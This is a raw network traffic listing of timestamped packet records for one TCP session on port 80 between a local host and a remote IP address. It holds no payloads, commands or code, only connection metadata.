Dec 13, 2024 01:51:20.054776907 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.056133032 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.056195974 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.056241035 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.056292057 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.057554007 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.057607889 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.057615042 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.057663918 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.059034109 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.059087992 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.059176922 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.059226990 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.060550928 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.060602903 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.060653925 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.060703039 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.062031984 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.062130928 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.062154055 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.062202930 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.063499928 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.063555956 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.063611984 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.063667059 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.065006018 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.065061092 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.065063953 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.065112114 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.066579103 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.066637039 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.066766024 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.066828966 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.067989111 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.068044901 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.068104029 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.068154097 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.069464922 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.069518089 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.069596052 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.069654942 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.070955038 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.071007967 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.071084023 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.071137905 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.072453022 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.072515011 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.072551012 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.072603941 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.073957920 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.074018002 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.074089050 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.074153900 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.075453997 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.075509071 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.075515032 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.075567961 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.196099997 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.196191072 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.196340084 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.196340084 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.196518898 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.196579933 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.196614027 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.196671009 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.197598934 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.197707891 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.197717905 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.197871923 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.198683023 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.198746920 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.198781013 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.198836088 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.199747086 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.199804068 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.199877024 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.199925900 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.200867891 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.200922966 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.200959921 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.201014042 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.201894045 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.201947927 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.202016115 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.202071905 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.203018904 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.203069925 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.203171968 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.203227997 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.204076052 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.204125881 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.204195023 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.204243898 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.205144882 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.205199957 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.205266953 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.205321074 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.206216097 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.206275940 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.206340075 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.206393957 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.207300901 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.207360983 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.207427979 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.207483053 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.208401918 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.208501101 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.208504915 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.208553076 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.209490061 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.209546089 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.209608078 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.209661961 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.210531950 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.210583925 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.210644960 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.210697889 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.211621046 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.211677074 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.211743116 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.211793900 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.212690115 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.212742090 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.212799072 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.212851048 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.213762999 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.213815928 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.213882923 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.213936090 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.214880943 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.214941025 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.215004921 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.215059996 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.215965033 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.216018915 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.216032028 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.216085911 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.216993093 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.217046976 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.217114925 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.217170000 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.218063116 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.218117952 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.218182087 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.218235016 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.219150066 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.219240904 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.219245911 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.219291925 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.220232964 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.220279932 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.220346928 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.220391989 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.221314907 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.221364021 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.221445084 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.221492052 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.222393036 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.222441912 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.222508907 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.222556114 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.223454952 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.223500967 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.223566055 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.223612070 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.224591017 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.224638939 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.224725962 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.224772930 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.225630045 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.225677967 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.225744963 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.225795031 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.226726055 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.226775885 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.226835966 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.226885080 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.227802038 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.227854967 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.227900982 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.227950096 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.228844881 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.228888988 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.228970051 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.229032993 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.229948997 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.230051041 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.230084896 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.230130911 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.231008053 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.231064081 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.231147051 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.231194973 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.232086897 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.232136965 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.232204914 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.232251883 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.233167887 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.233216047 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.233282089 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.233330965 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.234249115 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.234297991 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.234364033 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.234410048 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.235352993 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.235409975 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.235459089 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.235507965 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.236407042 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.236454010 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.236532927 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.236589909 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.237478971 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.237530947 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.237593889 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.237639904 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.238555908 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.238604069 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.238667965 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.238713980 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.239644051 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.239700079 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.239768028 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.239814997 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.240725040 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.240791082 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.240864038 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.240912914 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.241848946 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.241898060 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.241977930 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.242021084 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.242873907 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.242923975 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.242990971 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.243043900 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.243961096 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.244013071 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.244061947 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.244115114 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.245065928 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.245110989 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.245177031 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.245229006 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.246114016 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.246161938 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.246229887 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.246274948 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.247196913 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.247245073 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.247343063 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.247391939 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.248313904 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.248362064 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.248466969 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.248512983 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.249372959 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.249423027 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.249471903 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.249519110 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.250449896 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.250505924 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.250571012 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.250617027 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.251507998 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.251557112 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.251660109 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.251708984 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.252542973 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.252588034 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.412293911 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.412420988 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.412444115 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.412575960 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.412827015 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.412905931 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.413506985 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.413598061 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.413661957 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.413722992 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.414601088 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.414685965 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.414747000 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.414906979 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.415671110 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.415755033 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.415807962 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.415884018 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.416718960 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.416788101 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.416863918 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.416924953 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.417896986 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.417975903 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.418025017 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.418088913 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.418890953 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.418956041 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.419033051 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.419089079 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.419979095 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.420042992 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.420121908 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.420193911 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.421040058 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.421103001 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.421155930 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.421225071 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.422113895 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.422172070 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.422245026 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.422297955 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.423254013 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.423307896 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.423310995 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.423432112 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.424304008 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.424356937 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.424418926 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.424474955 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.425383091 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.425440073 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.425498009 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.425565004 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.426487923 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.426556110 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.426589966 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.426645994 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.427520990 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.427578926 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.427627087 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.427681923 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.428575993 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.428646088 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.428688049 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.428746939 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.429660082 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.429737091 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.429776907 CET	80	49787	31.41.244.11	192.168.2.4
